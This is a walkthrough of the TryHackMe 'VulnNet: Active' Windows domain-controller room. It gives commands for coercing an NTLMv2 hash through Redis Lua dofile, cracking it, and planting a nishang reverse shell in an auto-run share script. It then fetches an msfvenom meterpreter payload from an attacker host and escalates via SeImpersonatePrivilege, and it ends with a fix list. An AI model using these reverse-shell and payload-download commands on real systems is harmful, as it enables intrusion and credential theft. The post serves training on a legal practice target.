mintshell
VI

VulnNet: Active

An unauthenticated Windows Redis is abused with a Lua UNC path to coerce the service account's NTLMv2 hash, which cracks to SMB access; overwriting a share script that a startup loop runs gives a shell, and SeImpersonatePrivilege is abused to SYSTEM.

Platform
TryHackMe
Room
VulnNet: Active(external link)
Difficulty
Medium
Vulnerabilities
insecure privileged service, weak credentials, writable scheduled task
4 min read

A walkthrough of the “VulnNet: Active” room from TryHackMe — a Windows AD box. An unauthenticated Redis instance leaks the service account name and, via a Lua dofile to a UNC path, coerces its NTLMv2 hash to our SMB listener; cracking it gives domain access. A writable share script run by a startup loop lands a shell, and SeImpersonatePrivilege escalates to SYSTEM.

VulnNet: Active is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Both flags and the recovered password/hash are shown as THM{<redacted>} / <redacted> — real on the box, withheld here.


TL;DR

TL;DR

A Windows Server 2019 DC (vulnnet.local) exposes an unauthenticated Redis 2.8 on 6379 → CONFIG GET dir reveals the service runs as enterprise-security → Redis’s Lua EVAL "dofile('//attacker/share')" coerces SMB authentication, caught by Responder as an NTLMv2 hash → crack it (hashcat -m 5600 + rockyou) → SMB access to Enterprise-Share holds PurgeIrrelevantData_1826.ps1, run every ~60s by a startup.bat loop → overwrite it with a reverse shell for a shell as enterprise-security (user flag) → whoami /priv shows SeImpersonatePrivilege → run a meterpreter payload and getsystem (named-pipe / potato) for NT AUTHORITYSYSTEM (system flag).

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>

nmap shows a Windows AD domain controller with an unusual extra: Redis.

53/tcp   open  domain   Simple DNS Plus
135/139/445 open  smb    # vulnnet.local, DC
464/tcp  open  kpasswd5
6379/tcp open  redis    # !
9389/tcp open  mc-nmf   # AD Web Services

SMB allows an anonymous session (domain VULNNET / vulnnet.local) but no useful shares yet. Redis on a Windows DC is the way in.

The vulnerability

The root cause is an unauthenticated Redis reachable from the network, running as a domain user. On Windows, Redis’s Lua dofile accepts a UNC path, which turns a database into an NTLM coercion primitive.

Insight

Redis’s Lua dofile('//host/share') makes the Redis service account reach out over SMB to our machine. Point it at a Responder listener and the DC authenticates to us, handing over enterprise-security’s NetNTLMv2 hash — offline-crackable. An exposed database with scripting plus Windows UNC auth = a credential leak, no RCE on Redis needed.

Step 1 — Redis → coerce & crack the NTLMv2 hash

redis-cli -h $IP
> CONFIG GET dir   # C:\Users\enterprise-security\...  -> service account name

Start Responder, then force the auth:

sudo responder -I tun0
redis-cli -h $IP
> EVAL "dofile('//$ATTACKER_IP/noraj')" 0   # errors on the box, but Responder catches the hash
# [SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
hashcat -m 5600 -a 0 ntlm_hash.txt rockyou.txt   # enterprise-security : <redacted>

Step 2 — overwrite the looped share script → shell (user flag)

With the cracked password, SMB now shows Enterprise-Share, holding PurgeIrrelevantData_1826.ps1. A startup.bat loop runs that script roughly every 60 seconds. Replace it (same filename) with a nishang reverse shell and wait:

smbclient //$IP/Enterprise-Share -U enterprise-security
# append to Invoke-PowerShellTcp.ps1 (renamed to PurgeIrrelevantData_1826.ps1):
#   Invoke-PowerShellTcp -Reverse -IPAddress $ATTACKER_IP -Port 4444
smb: \> put PurgeIrrelevantData_1826.ps1
nc -lvnp 4444   # ~60s later: shell as enterprise-security
# C:\Users\enterprise-security\Desktop> more user.txt   -> THM{<redacted>}

Step 3 — SeImpersonatePrivilege → SYSTEM (system flag)

PS> whoami /priv   # SeImpersonatePrivilege  Enabled

SeImpersonatePrivilege is the classic “potato” escalation. Upload a meterpreter payload, run it, and getsystem (named-pipe impersonation):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4445 -f exe -o revshell.exe
# certutil -urlcache -f http://$ATTACKER_IP:8000/revshell.exe revshell.exe ; ./revshell.exe
meterpreter > getsystem   # Named Pipe Impersonation (PrintSpooler variant)
meterpreter > getuid      # NT AUTHORITY\SYSTEM
# C:\Users\Administrator\Desktop> more system.txt  -> THM{<redacted>}

Impact

Critical

Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated, network-exposed Redis running as a domain user allows NTLM coercion, leaking a crackable credential. Domain access plus a writable, auto-run share script yields code execution as enterprise-security, and SeImpersonatePrivilege escalates to SYSTEM on the domain controller — full compromise of the host and a strong foothold over the domain.

Fix

  • Never expose Redis to the network unauthenticated, and don’t run it as a privileged domain account; bind to loopback, require auth, and disable Lua scripting if unused.
  • Enforce strong passwords so a coerced NetNTLMv2 hash doesn’t fall to rockyou; consider SMB signing and reducing NTLM.
  • Lock down the share and the auto-run script. A script executed on a loop must not be writable by the users who can reach the share.
  • Remove SeImpersonatePrivilege from service accounts where possible and keep the host patched against potato techniques.

Takeaways

  • Redis on Windows is an NTLM-coercion gadget. dofile('//host/share') makes the service authenticate to you.
  • CONFIG GET dir leaks the service user — free recon on an open Redis.
  • Auto-run scripts on writable shares are RCE. Replace the file, wait for the loop.
  • SeImpersonatePrivilege = SYSTEM. On service accounts it’s a one-command escalation.

VulnNet: Active is a sharp lesson in how a stray non-AD service (Redis) becomes the domain’s weakest link. Thanks for reading.